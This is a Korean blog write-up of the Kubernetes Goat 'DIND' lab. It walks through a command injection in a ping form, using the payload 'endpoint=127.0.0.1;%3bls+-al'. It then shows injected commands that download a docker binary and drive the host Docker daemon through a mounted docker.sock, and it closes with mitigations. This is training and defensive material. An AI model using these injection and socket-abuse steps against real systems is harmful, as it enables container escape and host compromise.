[ kubernetes-goat#2 DIND ]
Table of contents
#0 개요
#1 Commnad Injection
#2 Docker MisConfiguration - 컨테이너 볼륨 제어
#3 Docker MisConfiguration - 컨테이너 권한 제어
#3 대응 방안
#0 개요
취약점 항목 : Command Injection, Docker Configuration - 컨테이너 네트워크 제어
취약점#1 : 입력 값 검증이 미흡하여 시스템 명령어로 전달되는 값 변조를 통해 공격자는 컨테이너 내부 시스템 명령어 실행이 가능합니다.
취약점#2 : 호스트 파일 접근 제어 설정이 미흡하므로 공격자는 Command Injection과 호스트 파일을 이용해 호스트 docker 명령어 실행을 통한 자원 제어가 가능합니다.
취약점#3 : 컨테이너에 최고 권한으로 명령 실행이 가능하므로, 공격자가 shell 실행 가능할 경우, 컨테이너의 다수 기능 이용 가능합니다.
위협#1 : 공격자는 컨테이너 내부 시스템 명령어 실행을 통해 컨테이너에서 실행되는 웹 서비스 중지가 가능합니다.
위협#2 : 호스트 도커 명령어 실행을 통해 도커 자원 내 중요 정보 추출, 서비스 중지, 다수 Web Application의 악의적인 코드 삽입이 가능합니다.
위협#3 : 쉘 실행 가능한 경우, 루트 권한을 이용한 제 2차 공격이 가능합니다.
#1. Exploit1 : Command Injection
취약점 요약 : 입력 값 검증이 미흡하므로 공격자는 컨테이너 내 시스템 명령어 실행이 가능합니다.
Ping Test 서비스의 IP 주소 입력란에 추가 시스템 명령어 삽입을 통한 Command Injection 시도
URL : http://127.0.0.1:1231/
Submit 버튼 클릭 시, 요청 패킷 내 공격자가 입력한 endpoint 파라미터 값으로 전송
URL : http://127.0.0.1:1231
Parameter : endpoint=127.0.0.1;%3bls+-al
공격자가 전송한 Command 값이 필터링 없이 exec.Command() 변수로 삽입돼 시스템 명령어로 실행됨
공격자가 삽입한 추가 시스템 명령어 실행 후 결과가 index.html 내 Output 데이터 값으로 Command 실행 결과인 finalOutput 값을 바인딩해 template를 렌더링한 후, 공격자에게 전송됨.
명령어 실행을 통해 컨테이너에서 서비스 실행을 위한 파일 삭제가 가능하므로 서비스 중지 가능
#2 Exploit2 : Docker MisConfiguration - 컨테이너 볼륨 제어
취약점 요약 : 공격자는 Command Injection을 통해 컨테이너 내 마운트된 호스트 docker.sock을 이용한 호스트 도커 자원 제어 가능합니다.
Command Injection을 통해 컨테이너 내 docker.sock 존재 확인
yaml 파일 내 호스트의 docker.sock 파일을 컨테이너 특정 경로(/custom/docker/docker.sock)에 마운트하도록 정의
경로 : health-check/deployment.yaml
volumeMounts:
- mountPath: /custom/docker/docker.sock
name: docker-sock-volume
volumes:
- name: docker-sock-volume
hostPath:
path: /var/run/docker.sock
type: Socket
docker 명령어를 이용한 호스트 docker.sock 파일의 마운트 여부 확인
docker ps --quiet -all | xargs docker inspect --format '{{ .Id }}: Volumes={{ .Mounts }}' | grep /var/run/docker.sock
+ 혹은 공격자 입장에서는 컨테이너에 mount 명령어를 실행해 공유 볼륨 경로를 확인 가능
Command Injection을 통해 컨테이너 내 docker binary 다운로드 후, docker binary와 마운트된 docker.sock을 이용해 호스트 docker daemon 에게 명령어 전달 시도
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
공격자가 의도한 명령어가 호스트 도커 daemon에게 전달되어 실행됨을 확인
공격자는 해당 취약점을 통해 호스트 도커 자원에 대한 제어 가능
#3 Docker Configuration - 컨테이너 권한 제어
컨테이너 런타임 또는 이미지에서 불필요하게 과도한 권한(root)이 설정된 경우, 공격자가 shell 확보했을 때, 다수 기능 이용 가능하므로 false로 지정
컨테이너 런타임 중 user가 최고권한인지 여부 확인
docker ps --quiet --all | xargs docker inspect --format '{{ .Id }}:
Privileged={{ .HostConfig.Privileged }}'
#4 대응 방안
필터링을 통해 제공하는 ping 기능 외 공격자의 악의적인 시스템 명령어 실행 방지를 권고드립니다.
컨테이너 내 명령어 실행을 통해 마운트 된 docker.socket을 제거를 권고 드립니다.
'HACKING > Docker' 카테고리의 다른 글
[ kubernetesgoat5 ] Hidden in layers (0) | 2021.09.07 |
---|---|
[ kubernetesgoat3 ] RBAC Least Privileges Misconfiguration (0) | 2021.09.06 |